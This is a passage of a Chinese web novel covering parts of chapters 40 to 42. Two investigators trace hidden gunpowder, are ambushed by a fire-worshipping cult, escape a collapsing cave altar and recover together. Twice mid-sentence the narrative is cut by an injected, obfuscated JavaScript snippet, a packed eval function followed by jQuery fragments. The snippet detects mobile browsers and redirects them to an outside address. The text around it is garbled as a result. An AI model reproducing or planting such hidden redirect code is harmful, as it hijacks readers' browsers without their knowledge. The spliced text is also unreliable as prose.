“赵元在这些人府邸或办公之处，埋设了火药。”皇帝的声音冰冷，“他原计划是：先借科举舞弊案引发朝局动荡，待各方争斗白热化时，引爆这些火药，制造‘天谴’假象。他要让天下人都看到，这些操纵科举、祸乱朝纲的官员，是如何被‘天火’焚灭的。” 御书房内一片死寂。 江清砚感到一股寒意从脊背升起。 疯子。 赵元是个彻头彻尾的疯子。他要的不是简单的复仇，而是要掀翻整个科举体系，要让朝廷颜面扫地，要让天下士子寒心。 “这些火药…”谢云辞艰难地问，“已经埋设了？” “大部分已经，”皇帝揉了揉眉心，“昨夜赵元被捕后，禁军按他供出的地点，起出了九处火药。但还有三处，他说‘忘了具体位置’，要等想起来了再说。” “他在拖延时间，”江清砚立刻反应过来，“或者，他在等人。” 皇帝看向他：“等人？” “赵元一个人，不可能完成这么庞大的计划，”江清砚大脑飞速运转，“收集官员罪证需要人手，埋设火药更需要专业知识和帮手。他背后一定还有人。” 谢云辞补充：“而且赵元在金銮殿上刺杀我，更像是临死前的疯狂之举。如果按原计划，他应该继续隐藏，等待最佳时机引爆火药才对。他为什么会突然改变计划，选择在殿上动手？” 两人对视一眼，都想到了同一个可能： 赵元被人利用了。 有人利用他的仇恨，操纵他布下这个惊天大局，然后在关键时刻——也许是发现事情即将败露，也许是别的什么原因——诱导他提前动手，让他成为弃子。 “陛下，”江清砚抬起头，“赵元现在情况如何？还能审吗？” 皇帝摇头：“失血过多，太医说他最多还能撑两个时辰。而且神智已经不清，时哭时笑，根本问不出什么。” 两个时辰。 江清砚看向谢云辞，后者点了点头。 “陛下，”谢云辞抱拳，“请准臣与江清砚，去天牢见赵元最后一面。” 皇帝盯着他们：“你们有办法让他开口？” “江清砚精通医理，”谢云辞说，“或许…有办法。” 江清砚垂下眼帘。 他知道谢云辞指的是什么——江家禁术中，有一门“摄魂引”，可暂时激发将死之人最后的神智，引导其说出真话。但这术法凶险，对施术者和受术者都是极大的负担。 皇帝沉默良久，最终挥了挥手：“去吧。但记住，无论问出什么，第一时间禀报朕。” “遵旨。” 天牢最深处的死囚牢房，弥漫着血腥与腐朽的气息。 赵元被铁链锁在墙上，断臂处简单包扎过，但纱布早已被血浸透。他垂着头，花白的头发散乱，嘴里含糊不清地念叨着什么。 听到脚步声，他缓缓抬起头。 当看到江清砚时，他浑浊的眼睛里突然爆发出诡异的光芒：“你…你没死？” 江清砚走到牢门前，平静地看着他：“我没死。” “不可能…”赵元喃喃，“阎罗泣…见血封喉…你不可能活…” “但我活了，”江清砚说，“你的计划，失败了。” 赵元的脸色扭曲起来：“失败？不…没有失败…那些火药…会炸的…都会炸的…哈哈哈哈——” 他突然疯狂大笑，笑声在阴森的牢房里回荡，令人毛骨悚然。 谢云辞皱眉，手按上刀柄。 江清砚却只是静静地看着他，等笑声渐歇，才轻声问：“赵大人，令郎在天之灵，真的希望你这样做吗？” 赵元的笑声戛然而止。 他死死盯着江清砚，眼中的疯狂渐渐褪去，取而代之的是一种深入骨髓的悲哀。 “文谦…”他喃喃念着儿子的名字，老泪纵横，“我的文谦…他那么聪明…那么用功…他说要考取功名，让我过上好日子…他说…” 他的声音哽咽，说不下去了。 江清砚的声音依旧平静，却带着一种奇异的力量：“赵大人，令郎的冤屈，陛下已经知晓。张乾外甥顶替功名一事，朝廷会重新审查，还令郎清白。” 赵元猛然抬头：“真…真的？” “君无戏言。”江清砚说，“但那些火药，必须拆除。那些无辜的人，不该为令郎陪葬。” 赵元的表情挣扎起来，似乎在理智与疯狂之间摇摆。 江清砚抓住时机，从袖中取出三根细如牛毛的银针。针尖在昏暗的牢房里泛着幽蓝的光——这不是毒，而是一种能暂时激发神智的药。 “赵大人，”他轻声说，“告诉我最后三处火药的位置，告诉我，是谁在帮你。” 赵元的眼神开始涣散，他盯着那三根银针，嘴唇颤抖：“不…不能说…说了…他们会杀了我女儿…” 女儿？ 江清砚和谢云辞同时一震。 赵元竟然还有个女儿？ 刑部卷宗里明明写着：赵元妻早逝，只有一子赵文谦，三年前病故。他哪来的女儿？ “他们在哪？”江清砚追问，“你女儿在哪？” “不知道…他们带走了她…”赵元的神情突然变得恐惧，“他们说…只要我按计划做…做完就放了她…可是…可是他们骗我…他们让我去殿上杀人…那是送死…我死了…我女儿怎么办…” 他的声音越来越低，神智又开始模糊。 江清砚不再犹豫，手腕一抖，三根银针精准地刺入赵元头顶三处大穴。 赵元浑身一震，眼睛猛地睁大，瞳孔中泛起异样的清明——那是生命最后时刻的回光返照。 “说，”江清砚的声音带着不容抗拒的力量，“火药在哪？你女儿在哪？那些人是谁？” 赵元的嘴唇哆嗦着，一串地址和名字从他口中吐出： “城东…慈恩寺…地藏殿佛像下…” “国子监…藏书阁…三楼东角…” “张乾府…后院…假山洞…” “我女儿…在…在…” 他的声音突然卡住，眼睛死死瞪着牢房顶部的阴影处，像是看到了什么极其恐怖的东西。 “在…在…” 他拼命想说，却只能发出“嗬嗬”的气音。 江清砚顺着他的目光看去——那里只有一片黑暗。 但谢云辞却猛地拔刀，身形如电般扑向那片阴影！ 刀光闪过，黑暗中传来金属碰撞的声音。一道黑影从梁上翻下，手中短剑直刺赵元咽喉！ 谢云辞横刀格挡，两刃相交，火花四溅。 那黑衣人见一击不中，立刻抽身后退，同时甩出三枚袖箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863516|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，分射江清砚、谢云辞和赵元。 谢云辞挥刀击落射向自己和江清砚的箭，却来不及挡第三支—— “噗。” 袖箭没入赵元心口。 赵元浑身一颤，眼中的光芒迅速黯淡下去。他用尽最后的力气，看向江清砚，嘴唇无声地动了动。 然后，头一歪，气绝身亡。 “追！”谢云辞低喝，就要去追那黑衣人。 “别追！”江清砚却叫住了他，“小心调虎离山！” 谢云辞脚步一顿，立刻反应过来——对方故意现身杀人灭口，很可能就是要引他离开，好对江清砚下手。 果然，牢房外传来打斗声，是谢云辞留在外面的亲卫与另一批黑衣人交上手了。 “走！”谢云辞护住江清砚，两人迅速退出牢房。 外面的战斗已经结束。三个黑衣人倒在地上，谢云辞的亲卫也有两人负伤。 “大人，这些人是死士，”亲卫队长禀报，“被擒后立刻服毒自尽，没留下活口。” 谢云辞脸色铁青。 江清砚却蹲下身，仔细检查那些黑衣人的尸体。他从一人怀中摸出一块令牌——非金非铁，通体漆黑，上面刻着一个诡异的图案：一只眼睛，瞳孔处是燃烧的火焰。 “这是什么？”谢云辞皱眉。 江清砚摇头：“从未见过。” 但他心中却涌起一股强烈的不安。这个图案，他在江家秘传的古籍里见过类似的描述——那是前朝一个隐秘教派“烛龙之眼”的图腾。 那个教派，早在五十年前就应该被剿灭了才对。 “先处理火药，”谢云辞当机立断，“赵元说了三个地点，我们分头行动。我去张乾府和国子监，你去慈恩寺——那里离得近，而且相对安全。” 江清砚本想说自己可以，但看到谢云辞不容置疑的眼神，只好点头：“小心。” “你也是。” 两人对视一眼，都看到了彼此眼中的担忧。 这一去，不知又会遇到什么。 慈恩寺是京城最古老的寺庙之一，香火鼎盛，平日来往香客络绎不绝。 但今日不知为何，寺门紧闭，门外贴着一张告示：今日法事，暂不接待香客。 江清砚在寺外观察片刻，绕到后墙，寻了处僻静角落，纵身翻墙而入——谢云辞教过他一些轻身功夫，虽然不高明，但翻墙足够了。 寺内果然空无一人。 他按照赵元所说，找到地藏殿。殿内阴森，数十尊佛像或怒目或慈悲，在昏暗的光线下显得格外诡异。 江清砚来到主佛像前，这是一尊地藏王菩萨像，高达两丈，宝相庄严。他绕到佛像背后，果然发现底座有一处暗格。 暗格没有锁，轻轻一推就开了。 里面是一个木箱，箱盖掀开，露出满满一箱□□，引线已经接好，末端连着一支计时香——香已烧了大半，只剩不到一寸。 江清砚的心跳漏了一拍。 他立刻掐灭计时香，然后小心翼翼地将引线拆除。做完这一切，他才松了口气，伸手去搬那箱火药—— 就在他的手触及木箱的瞬间，异变突生！ 佛像背后，一道暗门悄无声息地滑开。门内伸出一只手，手中拿着一块浸了药的手帕，以迅雷不及掩耳之势捂住了江清砚的口鼻！ 江清砚只来得及吸入一丝甜腻的气味，就感到天旋地转，眼前一黑。 失去意识前的最后一瞬，他看到暗门内，一双眼睛正冷冷地看着他。 那双眼睛的瞳孔深处，似乎有火焰在燃烧。 谢云辞那边也不顺利。 他在张乾府后院假山洞里找到了第二处火药，拆除时却触动了机关，险些被暗箭射中。而国子监藏书阁的那处，竟然是空的——火药已经被人提前取走了。 一种不祥的预感涌上心头。 他立刻赶往慈恩寺。 地藏殿内，佛像后的暗格敞开着，木箱还在，火药也在，但江清砚不见了。 地上有挣扎的痕迹，还有一块掉落的白玉簪——那是江清砚束发用的。 谢云辞捡起玉簪，手指收紧到骨节发白。 他强迫自己冷静下来，仔细观察现场。暗门还没完全关上，他推开走进去，发现里面是一条狭窄的密道，蜿蜒向下，不知通向何处。 密道墙壁上，有人用血画了一个箭头，旁边还有一行小字： “欲救人，独来。” 字迹潦草，显然是匆忙间留下的。 谢云辞盯着那行字，眼中寒光凛冽。 他知道这是个陷阱。 但他必须去。 没有犹豫，他握紧刀，踏入了密道。 黑暗，吞噬了他的身影。 皇宫，御书房。 皇帝听着暗卫的禀报，脸色越来越沉。 “江清砚被掳，谢云辞孤身去救，”他缓缓重复，“而国子监的火药不翼而飞，张乾府的火药是诱饵，只有慈恩寺那处是真的——但也是诱饵的一部分。” 暗卫低头：“是。对方的目标，从一开始就是江清砚和谢云辞。” 皇帝闭上眼，半晌，睁开时眼中已是一片冰冷： “查。动用所有暗线，查‘烛龙之眼’是否死灰复燃。另外，派人暗中接应谢云辞，但不要打草惊蛇。” “遵旨。” 暗卫退下后，皇帝走到窗边，看着窗外暮色四合的天空。 “江家…谢家…”他喃喃自语，“当年的账，终究是要算了。” 夕阳如血，染红了半个京城。 一场更大的风暴，正在悄然酝酿。 而风暴的中心，正是那两个生死与共的年轻人。 41. 第 41 章 第四十一章联手审讯 黑暗。 粘稠的、仿佛有实质的黑暗，包裹着江清砚的感官。 他在一片混沌中挣扎，意识像是沉在深水底部，每一次想要浮起，都被无形的力量拽回。耳边有模糊的声音，忽远忽近，像是隔着水面听到的人语。 “……确定是他？” “错不了。江家的‘青木生机’，只有嫡系血脉才可能觉醒。” “那个谢家的小子呢？” “跟来了。按计划，他应该已经进了密道。” “好。猎物都入网了。” 江清砚努力想要听清，但意识再次沉沦。 不知过了多久，一股刺鼻的气味钻入鼻腔——是醒神草的味道。他猛地呛咳起来，睁开沉重的眼皮。 光线昏暗。他发现自己被绑在一张冰冷的石椅上，双手反剪在背后，粗糙的麻绳勒进皮肉。视线逐渐清晰，他看清了所处的环境：一个石室，墙壁上插着火把，火光跳动，映出墙上诡异的壁画——那是燃烧的眼睛图腾，与黑衣令牌上的图案一模一样。 石室中央站着三个人。 为首的是个中年男人，身穿灰布长衫，面容普通得扔进人堆就找不到，唯有一双眼睛异常锐利，瞳孔深处仿佛真的有火焰在跳动。他左侧是个驼背老者，拄着拐杖，眼睛眯成一条缝；右侧则是个年轻女子，容貌清秀，但眉宇间有股挥之不去的阴郁。 “醒了？”中年男人开口，声音沙哑，“江清砚，江家最后一人。我们找了你很久。” 江清砚没有回应，他在迅速评估自己的状况：被缚，药物残留导致四肢无力，但心脉处的青木生机正在缓慢复苏，与谢云辞的联结虽然微弱，但依然存在——这意味着谢云辞还活着，而且离得不远。 “不用费心感受了，”那女子突然开口，声音清脆却冰冷，“你和谢云辞之间的‘共生之契’，我们很熟悉。五十年前，江家家主和谢家那位，也曾结过这样的契约。” 江清砚心头一震。 五十年前？江家与谢家？ 他从未听说过两家有过这样的渊源。家族记载中，江家世代行医，避世而居；谢家则是武将世家，镇守边关。这两家怎么会扯上关系？ “看来你真的什么都不知道，”中年男人走近几步，俯视着他，“你父母为了保护你，连家族真正的历史都没告诉你。” “什么历史？”江清砚终于开口，声音干涩。 “江家和谢家，曾是大周开国时最忠诚的守护者，”驼背老者接过话，声音苍老如破风箱，“江家掌医毒秘术，司长生；谢家掌兵戈杀伐，司镇守。两家世代联姻，血脉交融，共同守护一个秘密——大周的龙脉所在。” 龙脉？ 江清砚的呼吸急促起来。这已经超出他的认知范畴了。 “五十年前，一场变故，”中年男人继续说，眼中闪过一丝狂热，“当时的皇帝怀疑江谢两家有不臣之心，欲除之而后快。一夜之间，江家满门被屠，谢家也被贬斥流放。只有少数人逃了出来，隐姓埋名，苟延残喘。” “我们‘烛龙之眼’，就是那些幸存者的后裔。”年轻女子补充道，“我们一直在等待，等待江谢两家的血脉重新觉醒，等待复仇的时机。” 江清砚盯着他们：“所以你们设下这个局，就是为了引我和谢云辞来？” “不全是，”中年男人摇头，“赵元那个疯子，确实是我们煽动的。他的仇恨是极好的燃料，能帮我们搅乱朝局。但我们没想到，他会提前暴露——更没想到，江谢两家的传人，竟然会在这个时候出现，还结成了‘共生之契’。” 他眼中闪烁着奇异的光芒：“这是天意。江清砚，加入我们。用你的医术和毒术，用谢云辞的武力，我们一起，让那个毁了我们家族的朝廷付出代价。” 江清砚沉默片刻，忽然笑了：“你们是不是误会了什么？” 三人一愣。 “第一，我父母确实死于非命，但凶手不是朝廷，”江清砚的声音平静而清晰，“我记得那些黑衣人，他们搜查时说的是‘江家秘术不能留’。如果朝廷要灭江家满门，何须藏头露尾？直接派兵剿灭即可。” “第二，谢云辞查谢家血案多年，所有线索都指向宫闱深处。但你们所说的五十年前旧事，与谢家近年血案的时间对不上。” “第三，”他顿了顿，目光扫过三人，“也是最重要的一点——你们若真是江谢两家幸存者的后裔，为何要杀赵元灭口？又为何要用这种下作手段绑架我？” 驼背老者的脸色变了。 年轻女子眼神闪烁。 唯有中年男人依旧镇定：“你很聪明。但聪明人往往死得早。” “或许，”江清砚淡淡道，“但在我死之前，我想知道真正的答案——你们到底是谁？真正的‘烛龙之眼’，又是什么？” 中年男人盯着他看了很久，忽然叹了口气：“罢了，反正你也活不过今晚，告诉你也无妨。” 他挥了挥手，驼背老者和年轻女子退到一旁。 “我们确实不是江谢两家的后裔，”中年男人坦然承认，“‘烛龙之眼’也不是什么幸存者组织。它是一个教派，信奉上古烛龙，认为世界终将被火焰净化，而我们是执行者。” 江清砚的心沉了下去。 “五十年前，江谢两家确实曾守护一个秘密，但不是什么龙脉，而是一处上古遗迹的入口，”中年男人的声音带着一种近乎虔诚的狂热，“那遗迹中，藏着能让凡人获得神力的宝物。当时的皇帝想要，江谢两家不肯交出，于是——” “于是你们趁火打劫，”江清砚接话，“假传圣旨，屠了江家满门？” “聪明，”中年男人笑了，“可惜聪明得太迟了。我们找了五十年，终于找到了江家最后的血脉——你。更妙的是，你还和谢家那个小子结了‘共生之契’。只要用你们的血献祭，就能打开遗迹的封印。” 原来如此。 江清砚终于明白了所有的前因后果。 父母之死，谢家血案，赵元被利用，甚至科举舞弊案——这一切，都是为了引出他和谢云辞，为了那个所谓的“上古遗迹”。 “谢云辞呢？”他问，“你们打算怎么对付他？” “他应该已经落入陷阱了，”年轻女子冷笑，“密道里布满了机关和迷药，就算他能闯过来，也是强弩之末。到时候，用你的命威胁他，他还能不乖乖就范？” 江清砚闭上眼睛。 他不能慌。必须想办法。 通过“共生之契”，他能模糊感知到谢云辞的状态：还活着，但在战斗，气息紊乱，显然遇到了麻烦。他能做的，只有拖延时间，同时…… 等等。 江清砚忽然意识到一件事。 既然“烛龙之眼”的目标是用他们的血献祭，那么在献祭之前，他们不会杀他。这是他的机会。 他深吸一口气，睁开眼睛：“你们需要我和谢云辞的血，但你们有没有想过——‘共生之契’一旦结成，两人的血脉已经交融。如果其中一个死了，另一个也会受到重创，甚至血脉之力会消散。” 中年男人皱眉：“你想说什么？” “我是说，你们不能杀我，也不能杀谢云辞，”江清砚的声音很稳，“至少，在献祭之前，必须保证我们都活着，而且状态完好。否则，血脉之力不足，你们五十年的谋划就全白费了。” 三人的脸色都变了。 显然，他们没有考虑到这一点。 “他在拖延时间，”驼背老者突然厉声道，“别跟他废话！直接带去祭坛，等谢家小子到了，立刻开始献祭！” 中年男人犹豫了一下，最终点头：“带走！” 年轻女子上前，解开江清砚脚上的绳子，只留手上的束缚，推着他往石室深处走去。 石室后有一条狭窄的通道，蜿蜒向下。走了约莫一刻钟，眼前豁然开朗—— 一个巨大的天然溶洞。 溶洞中央是一个石台，台上刻满了诡异的符文，形成一个巨大的法阵。法阵中央有两个石柱，柱上挂着铁链，显然是用来绑人的。 四壁插着火把，火光在洞顶的钟乳石上跳跃，投下憧憧鬼影。溶洞四周，还站着十几个黑衣人，全都蒙着面，沉默如石像。 这就是祭坛。 江清砚被推到一根石柱前，铁链锁住了他的手腕和脚踝。他抬头，看向对面那根空着的石柱——那是给谢云辞准备的。 “他来了。”年轻女子突然说。 话音刚落，通道口传来打斗声。 谢云辞的身影出现在洞口，浑身是血，衣衫破碎，但眼神依旧锐利如刀。他手中握着一把卷刃的绣春刀，刀尖滴着血。 他身后，倒着七八个黑衣人。 “放了他，”谢云辞的声音嘶哑，却带着不容置疑的杀气，“否则，我让你们全部陪葬。” 中年男人笑了：“谢大人果然勇武。但你觉得，你还有力气杀多少人？” 谢云辞确实已经到了极限。 密道里的机关和迷药消耗了他大半体力，一路杀过来更是伤痕累累。他能站着，全凭一口气撑着。 但他不能倒。 江清砚在那里，被锁在石柱上，脸色苍白，却对他微微摇头——别冲动。 “你要什么？”谢云辞问，“钱？权？还是别的？” “我们要的，是你和他的血，”中年男人指着江清砚，“准确地说，是你们血脉交融后的‘共生之血’。那是打开上古遗迹的唯一钥匙。” 谢云辞瞳孔一缩。 上古遗迹？钥匙？ 他瞬间明白了——这伙人，就是造成江家灭门、谢家血案的元凶。五十年的谋划，原来是为了这个。 “如果我不同意呢？”他缓缓举刀。 “那你只能看着他死，”中年男人走到江清砚身边，手中多了一把匕首，抵在江清砚颈侧，“‘共生之契’确实会让你们同生共死，但在献祭法阵中，我们可以剥离你的血脉，只留他的——虽然效果会打折扣，但总比没有强。” 谢云辞的手指捏得发白。 就在这时，江清砚突然开口：“云辞，还记得我在天牢里跟你说的‘摄魂引’吗？” 谢云辞一愣。 江清砚继续说：“那门禁术，不仅可以激发将死之人的神智，还可以……反向施展。” 中年男人脸色骤变：“你闭嘴！” 但已经迟了。 江清砚闭上眼，嘴唇快速翕动，念出一串晦涩的咒文。那声音不大，却仿佛带着某种诡异的韵律，在溶洞中回荡。 “快阻止他！”驼背老者厉喝。 年轻女子冲上前，却被江清砚猛地睁开的眼睛吓了一跳——那双眼睛里，闪烁着青金色的光芒！ 与此同时，谢云辞感觉到，通过“共生之契”，一股奇异的能量正从江清砚那边传递过来。那不是内力，也不是生命力，而是……某种精神层面的力量。 他福至心灵，立刻明白了江清砚的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863517|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “摄魂引”反向施展，不是控制别人，而是将自己的意识与对方连接，强行共享记忆、感知、甚至……痛苦。 江清砚要用这招，拖住这些人，为他制造机会！ 谢云辞不再犹豫，趁着那三人被江清砚的异状吸引注意力，身形猛地暴起！ 刀光如雪！ 离他最近的两个黑衣人根本来不及反应，咽喉已经被割开。 “杀了他！”中年男人怒吼。 十几个黑衣人一拥而上。 但谢云辞此刻的状态，与刚才截然不同。 他感觉到江清砚的意志加持在自己身上，思维前所未有的清晰，身体的每一处伤痛都被暂时屏蔽，甚至连挥刀的角度和力道，都像是经过了最精准的计算。 这不是他的力量。 这是江清砚通过“共生之契”，将自己的精神力和战斗本能分享给了他！ 刀光所过之处，血花绽放。 谢云辞如同修罗附体，在人群中杀出一条血路，直扑祭坛！ 中年男人见状，眼中闪过一丝狠厉，手中匕首猛地刺向江清砚心口——既然得不到，那就毁掉！ 江清砚不闪不避，只是死死盯着他，眼中青金色光芒大盛。 中年男人的动作突然僵住了。 他看到了……不，是感觉到了。 感觉到匕首刺入皮肉的疼痛，感觉到血液流失的冰冷，感觉到心脏逐渐停止跳动的绝望—— 那是江清砚通过“摄魂引”，强行让他共享了自己的濒死体验！ “啊啊啊——”中年男人惨叫一声，匕首脱手落地，抱着头跪倒在地，浑身抽搐。 年轻女子和驼背老者想要上前，却也被那诡异的精神冲击波及，动作慢了半拍。 就是这半拍，决定了生死。 谢云辞已经杀到。 刀光闪过，年轻女子的喉咙被割开；反手一刀，驼背老者的头颅飞起。 鲜血喷溅在祭坛的符文上，那些诡异的符号竟像是活过来一般，开始发出暗红色的光芒。 谢云辞顾不上这些，一刀劈断江清砚身上的铁链，将人护在身后：“怎么样？” 江清砚脸色白得吓人，七窍又开始渗血——强行施展反向“摄魂引”，对他的精神造成了巨大损伤。 “还…还好，”他虚弱地说，“快走…这个祭坛…要启动了…” 话音未落，溶洞开始震动。 祭坛上的符文光芒越来越盛，整个法阵像是被鲜血激活，开始疯狂抽取溶洞中的某种能量。石壁上的钟乳石纷纷断裂坠落，地面裂开一道道缝隙。 “走！”谢云辞抱起江清砚，往通道冲去。 剩下的黑衣人想要阻拦，却被坠落的巨石砸中，惨叫声被淹没在轰隆巨响中。 通道也在崩塌。 谢云辞拼尽最后力气，护着江清砚，在碎石和烟尘中狂奔。身后，祭坛的方向传来一声恐怖的巨响，紧接着是刺眼的白光—— 整个溶洞，塌了。 当谢云辞抱着江清砚冲出密道，回到慈恩寺地藏殿时，身后的入口已经被彻底掩埋。 月光从殿顶的天窗洒下，照着一地狼藉。 谢云辞将江清砚小心放在地上，自己也瘫坐在地，大口喘息。他身上的伤口又开始渗血，体力彻底耗尽。 江清砚勉强撑着坐起，看着他满身的伤，眼中闪过一丝痛色：“你……” “我没事，”谢云辞扯出一个笑容，“你呢？刚才那是……” “江家禁术，‘摄魂引’的反向用法，”江清砚轻声解释，“可以将自己的感知强加给他人。我让他们体验了我的濒死感，他们一时承受不住，才给了你可乘之机。” 谢云辞想起中年男人抱头惨叫的样子，心有余悸：“这招……代价很大吧？” 江清砚没有回答，但苍白的脸色已经说明了一切。 两人沉默了片刻。 “他们说的上古遗迹……”谢云辞开口，“你相信吗？” 江清砚沉默良久：“我父母留下的手札里，确实提到过‘祖地封印’。但我一直以为那只是家族传说。” “所以可能是真的，”谢云辞神色凝重，“而且，这些人为了打开封印，谋划了五十年，杀了江谢两家那么多人……” 他看向江清砚：“我们必须查清楚。为了你父母，也为了我谢家。” 江清砚点头，却又蹙眉：“但现在线索都断了。那些人全死了，溶洞也塌了。” “未必，”谢云辞忽然想起什么，“那个中年男人，在最后关头，似乎想说什么……” 他仔细回忆当时的场景——中年男人抱头惨叫时，嘴唇好像在动，说了什么…… “眼睛……”谢云辞喃喃，“他说‘眼睛在看着’……” 眼睛？ 江清砚猛然想起那些壁画，那个燃烧的眼睛图腾。 “烛龙之眼……”他低声说，“如果那不仅是个教派名字呢？如果……真的有‘眼睛’在看着一切？” 两人对视，都感到一股寒意从脊背升起。 月光越发清冷，地藏殿内的佛像在阴影中沉默，仿佛真的有一双眼睛，在暗中注视着这一切。 远处传来马蹄声和呼喊——是六扇门的人找来了。 但江清砚和谢云辞都知道，这件事，还远没有结束。 真正的幕后黑手，可能还在某处，静静地等待着。 等待着他们，一步一步，走向那个埋藏了五十年的秘密。 42. 第 42 章 第四十二章缓缓苏醒 黑暗褪去时，先感受到的是疼痛。 全身的骨头像是被拆开又重组过，每一寸肌肉都在尖叫，尤其是心口的位置，那种熟悉的、被撕裂的钝痛，提醒着江清砚自己还活着——以一种极其糟糕的状态。 他试图睁开眼，眼皮却沉重得像是压了铅。耳边传来模糊的人声，脚步声，还有瓷器碰撞的轻响。鼻尖萦绕着一股熟悉的药香——是谢云辞府上常备的金疮药和安神香。 这里是谢府。 这个认知让江清砚紧绷的神经稍微放松了一些。他努力集中精神，调动起残存的感知，去感受那个通过“共生之契”与他紧密相连的存在。 谢云辞的气息就在附近，平稳但虚弱，像是烛火摇曳却未熄灭。更近的地方，有人在低声交谈: “烧退了，脉象也稳住了，但精神耗损太过，恐怕要昏睡几日。”是太医令的声音。 “他什么时候能醒？”谢云辞的声音，沙哑得厉害。 “不好说。江公子这次强行施展禁术，又受了‘摄魂引’的反噬，心脉旧伤反复……”太医令顿了顿，“谢大人，你自己的伤也不轻，该歇息了。” “我等他醒。” “你已经守了两天两夜了！再这样下去——” “我等他醒。”谢云辞重复，语气里是不容置疑的坚持。 脚步声远去，门被轻轻带上。 然后是寂静。 江清砚能感觉到谢云辞靠近了床榻，一只手轻轻覆上他的额头，指尖带着凉意，动作却温柔得近乎小心翼翼。 “江清砚，”谢云辞的声音低得几乎听不见，“你答应过要信我，等我。现在我在这里等你，你也要守约。” 那只手移到他手腕处，三根手指搭上脉门。江清砚能感觉到一股微弱但温暖的内力，顺着经脉缓缓流入，温和地梳理着他体内紊乱的气息。 他在为自己疗伤——即使他自己也伤得不轻。 江清砚的心口突然涌上一股酸涩的情绪。他拼尽力气，终于掀开了沉重的眼皮。 光线刺眼，他眯了眯眼，视线模糊了好一阵才逐渐清晰。 谢云辞就坐在床边的圆凳上，穿着一身素白中衣，外罩松垮垮披着一件墨色外袍。他肩头的纱布还隐隐透出血色，脸色苍白，眼下是浓重的青黑，下巴冒出了一圈胡茬，整个人看起来憔悴不堪。 但那双眼睛，在看到江清砚睁眼时，瞬间亮了起来，如同拨云见日。 “你醒了？”谢云辞的声音带着不敢置信的颤抖。 江清砚想说话，喉咙却干涩得发不出声音，只能轻轻眨了眨眼。 谢云辞立刻会意，起身倒了温水，小心翼翼扶他半坐起来，将杯沿凑到他唇边。温水润过干裂的嘴唇和喉咙，江清砚缓了好一会儿，才发出沙哑的声音: “……几天了？” “三天。”谢云辞放下杯子，手却没有松开他的肩膀，保持着支撑的姿势，“太医说你能醒过来，已经是奇迹。” 江清砚缓缓转动视线，打量房间。这是谢云辞卧房隔壁的厢房，陈设简单但雅致，窗边矮几上放着药炉，炉火微红，药香袅袅。窗外天色是傍晚的暗蓝，几颗星子已经开始闪烁。 “你……”他的目光落回谢云辞身上，“你的伤……” “皮肉伤，死不了。”谢云辞说得轻描淡写，但江清砚能通过“共生之契”感觉到他肩胛骨处传来的持续钝痛，还有内息虚浮的虚弱感。 这人又在逞强。 江清砚想要抬手，却发现手臂沉重得不听使唤。他只好用眼神示意:“躺下，我看看。” 谢云辞愣了愣，随即明白他的意思，苦笑道:“江大夫，你现在这样，还是先顾好自己吧。” “我看。”江清砚坚持，眼神清澈而固执。 谢云辞拗不过他，只能小心地扶他靠稳，自己则坐回床边，解开外袍和中衣的系带，露出肩头层层包裹的纱布。 纱布已经换过，但渗出的血迹还是将最里层染成了暗红色。江清砚目光扫过，眉头就蹙了起来——伤口位置靠近琵琶骨，再偏一点就会伤及筋脉，影响整条手臂的活动。而纱布边缘隐约可见的皮肤颜色发暗，那是余毒未清的迹象。 “他们用了‘阎罗泣’的变种，”谢云辞主动解释，“毒性不如原版猛烈，但更难清除。太医说需要慢慢拔毒。” 江清砚闭目凝神，沉入内视。心口处的青木生机虽然微弱，但已经重新凝聚，正缓慢地滋养着受损的心脉。他小心地引导出一丝，通过“共生之契”的联结，缓缓渡向谢云辞的伤处。 谢云辞身体一震:“别！你——” “别动。”江清砚的声音依旧虚弱，却带着不容抗拒的意味。 青木生机如春日暖流，温柔地包裹住谢云辞肩头的伤处。谢云辞能清晰地感觉到，那折磨了他三天的灼痛和麻痹感正在一点点消退，伤口深处的余毒像是遇到克星，迅速分解消散。 但这过程对江清砚的消耗显而易见。他的脸色以肉眼可见的速度变得更白，额头上渗出细密的冷汗，呼吸也急促起来。 “够了！”谢云辞强行切断了两人的联结，握住江清砚冰凉的手，“不要再耗你的生机了。” 江清砚睁开眼，眼中带着疲惫，却也有几分满意:“余毒清了七八成，剩下的……喝几副药就能排干净。”他顿了顿，补充道，“下次别硬撑，毒素淤积久了，会损伤根基。” 谢云辞看着他，忽然不知道该说什么。 这个人，自己刚从鬼门关爬回来，醒来的第一件事，却是先给他疗伤。 “你总是这样，”谢云辞的声音低哑，“先顾别人，再顾自己。” 江清砚微微歪头，似乎在认真思考这个问题，然后给出了一个理所当然的回答:“你是谢云辞。” 因为你是谢云辞。 所以值得。 谢云辞的心脏像是被什么狠狠撞了一下，又酸又软。他握紧江清砚的手，感觉到对方指尖的凉意，便用掌心包裹着，试图传递一点温度。 “慈恩寺那边……”江清砚想起正事。 “陛下派人处理了，”谢云辞神色严肃起来，“溶洞彻底坍塌，埋得很深，暂时无法挖掘。但在地藏殿和周边搜出了不少东西——‘烛龙之眼’的信物、一些残缺的典籍，还有……这个。” 他从怀中取出一块布帛，小心翼翼地展开。 